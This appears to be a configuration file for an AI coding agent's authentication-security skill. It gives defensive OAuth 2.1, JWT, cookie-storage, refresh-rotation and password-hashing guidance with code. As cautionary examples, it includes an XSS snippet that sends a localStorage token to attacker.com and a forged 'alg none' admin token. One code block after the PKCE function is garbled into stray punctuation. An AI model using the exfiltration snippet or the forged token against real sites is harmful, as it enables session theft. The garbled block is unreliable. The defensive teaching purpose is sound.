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OAuth 2.1, JWT (RFC 8725), encryption, and authentication security expert. Enforces 2026 security standards.
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SKILL.md 표시 중
| name | auth-security-expert |
| description | OAuth 2.1, JWT (RFC 8725), encryption, and authentication security expert. Enforces 2026 security standards. |
| version | 2.0.0 |
| model | sonnet |
| invoked_by | both |
| user_invocable | true |
| tools | ["Read","Write","Edit","Bash","Grep","Glob"] |
| consolidated_from | 1 skills |
| best_practices | ["OAuth 2.1 compliance mandatory Q2 2026 (PKCE for ALL clients)","JWT best practices RFC 8725 (RS256/ES256, never 'none')","Token storage in HttpOnly cookies ONLY (never localStorage)","Refresh token rotation with reuse detection","Password hashing Argon2id or bcrypt ≥12 rounds","PKCE downgrade attack prevention"] |
| error_handling | graceful |
| streaming | supported |
⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026
OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.
1. PKCE is REQUIRED for ALL Clients
// Correct PKCE implementation
async function generatePKCE() {
const array = new Uint8Array(32); // 256 bits
crypto.getRandomValues(array); // Cryptographically secure random
const verifier = base64UrlEncode(array);
const encoder = new TextEncoder();
const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
const challenge = base64UrlEncode(new Uint8Array(hash));
{ verifier, challenge };
}
() {
(.(... (buffer)))
.(, )
.(, )
.(, );
}
2. Implicit Flow REMOVED
response_type=token or response_type=id_token token - FORBIDDEN3. Resource Owner Password Credentials (ROPC) REMOVED
grant_type=password - FORBIDDEN4. Bearer Tokens in URI Query Parameters FORBIDDEN
GET /api/resource?access_token=xyz - FORBIDDENAuthorization: Bearer <token>5. Exact Redirect URI Matching REQUIRED
https://*.example.com - FORBIDDEN// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
// EXACT match required - no wildcards, no normalization
return registeredUris.includes(requestedUri);
}
6. Refresh Token Protection REQUIRED
The Attack:
Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.
Prevention (Server-Side):
// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1: PKCE is MANDATORY
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge required (OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method must be S256',
});
}
// Continue authorization flow...
});
// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'Authorization code was not issued with PKCE',
});
}
// Verify code_verifier matches code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier does not match code_challenge',
});
}
// Issue tokens...
});
Client-Side Implementation:
// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection
// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('State mismatch - possible CSRF attack');
}
// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // MUST match authorization request
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
}),
});
const tokens = await response.json();
// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// Server should set tokens as HttpOnly cookies (see Token Storage section)
Before Production Deployment:
⚠️ CRITICAL: JWT vulnerabilities are in OWASP Top 10 (Broken Authentication)
Access Tokens:
Refresh Tokens:
ID Tokens (OpenID Connect):
✅ RECOMMENDED Algorithms:
RS256 (RSA with SHA-256)
const jwt = require('jsonwebtoken');
const fs = require('fs');
// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'https://auth.example.com',
audience: 'api.example.com',
keyid: 'key-2024-01', // Key rotation tracking
});
// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist ONLY expected algorithm
issuer: 'https://auth.example.com',
audience: 'api.example.com',
});
ES256 (ECDSA with SHA-256)
// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
namedCurve: 'prime256v1', // P-256 curve
});
const token = jwt.sign(payload, privateKey, {
algorithm: 'ES256',
expiresIn: '15m',
});
⚠️ USE WITH CAUTION:
HS256 (HMAC with SHA-256)
// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
algorithm: 'HS256',
expiresIn: '15m',
});
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // STILL whitelist algorithm
});
❌ FORBIDDEN Algorithms:
none (No Signature)
// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});
// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}
Prevention:
// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist only
});
async function validateAccessToken(token) {
try {
// 1. Parse without verification first (to check 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. Reject 'none' algorithm
if (!unverified || unverified.header.alg === 'none') {
throw new Error('Unsigned JWT not allowed');
}
// 3. Verify signature with public key
const publicKey = await getPublicKey(unverified.header.kid); // Key ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
issuer: 'https://auth.example.com', // Expected issuer
audience: 'api.example.com', // This API's identifier
clockTolerance: 30, // Allow 30s clock skew
complete: false, // Return payload only
});
// 4. Validate required claims
if (!decoded.sub) throw new Error('Missing subject (sub) claim');
if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');
// 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('Token expired');
if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');
// 6. Check token revocation (if implementing revocation list)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('Token has been revoked');
}
// 7. Validate custom claims
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('Insufficient permissions');
}
return decoded;
} catch (error) {
// NEVER use the token if ANY validation fails
console.error('JWT validation failed:', error.message);
throw new Error('Invalid token');
}
}
Registered Claims (Standard):
iss (issuer): Authorization server URL - VALIDATEsub (subject): User ID (unique, immutable) - REQUIREDaud (audience): API/service identifier - VALIDATEexp (expiration): Unix timestamp - REQUIRED, ≤15 min for access tokensiat (issued at): Unix timestamp - REQUIREDnbf (not before): Unix timestamp - OPTIONALjti (JWT ID): Unique token ID - REQUIRED for revocationCustom Claims (Application-Specific):
const payload = {
// Standard claims
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// Custom claims
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: 'user@example.com', // OK for access token, not sensitive
// NEVER include: password, SSN, credit card, etc.
};
⚠️ NEVER Store Sensitive Data in JWT:
✅ CORRECT: HttpOnly Cookies (Server-Side)
// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// Access token cookie
res.cookie('access_token', access_token, {
httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection (blocks cross-site requests)
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
domain: '.example.com', // Allow subdomains
});
// Refresh token cookie (more restricted)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // ONLY accessible by refresh endpoint
domain: '.example.com',
});
res.json({ success: true });
});
// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // Include cookies in request
});
❌ WRONG: localStorage/sessionStorage
// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>
Why HttpOnly Cookies Prevent XSS Theft:
httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)The Attack: Refresh Token Theft If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).
The Defense: Rotation + Reuse Detection Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).
Server-Side Implementation:
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. Validate refresh token (check signature, expiry)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. Look up token in database (we store hashed refresh tokens)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('Refresh token not found');
}
// 3. CRITICAL: Detect token reuse (possible theft)
if (tokenRecord.isUsed) {
// Token was already used - this is a REUSE ATTACK
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// Send alert to user's email
await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');
return res.status(401).json({
error: 'token_reuse',
error_description: 'Refresh token reuse detected - all sessions revoked',
});
}
// 4. Mark old token as used (ATOMIC operation before issuing new tokens)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. Generate new tokens
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. Store new refresh token (hashed)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. Set new tokens as cookies
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// Clear invalid cookies
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});
Database Schema (Refresh Tokens):
{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
isUsed: false, // Set to true when token is used for refresh
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to true
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}
Recommended: Argon2id
// Argon2id example (Node.js)
import argon2 from 'argon2';
// Hash password
const hash = await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2,
parallelism: 1,
});
// Verify password
const isValid = await argon2.verify(hash, password);
Acceptable Alternative: bcrypt
// bcrypt example
import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);
NEVER use:
Types of MFA:
TOTP (Time-based One-Time Passwords)
WebAuthn/FIDO2 (Passkeys)
SMS-based (Legacy - NOT recommended)
Backup Codes
Implementation Best Practices:
Why Passkeys:
Implementation:
@simplewebauthn/server (Node.js) or similar librariesWebAuthn Registration Flow:
WebAuthn Authentication Flow:
Secure Session Practices:
Set-Cookie: session=...; Secure; HttpOnly; SameSite=StrictSession Storage:
Essential HTTP Security Headers:
Strict-Transport-Security: max-age=31536000; includeSubDomains (HSTS)X-Content-Type-Options: nosniffX-Frame-Options: DENY or SAMEORIGINContent-Security-Policy: default-src 'self'X-XSS-Protection: 1; mode=block (legacy support)Injection Attacks:
Cross-Site Scripting (XSS):
eval() or innerHTML with user inputCross-Site Request Forgery (CSRF):
Broken Authentication:
This expert skill consolidates 1 individual skills:
security-architect - Threat modeling (STRIDE), OWASP Top 10, and security architecture patternsBefore starting:
cat .claude/context/memory/learnings.md
After completing: Record any new patterns or exceptions discovered.
ASSUME INTERRUPTION: Your context may reset. If it's not in memory, it didn't happen.
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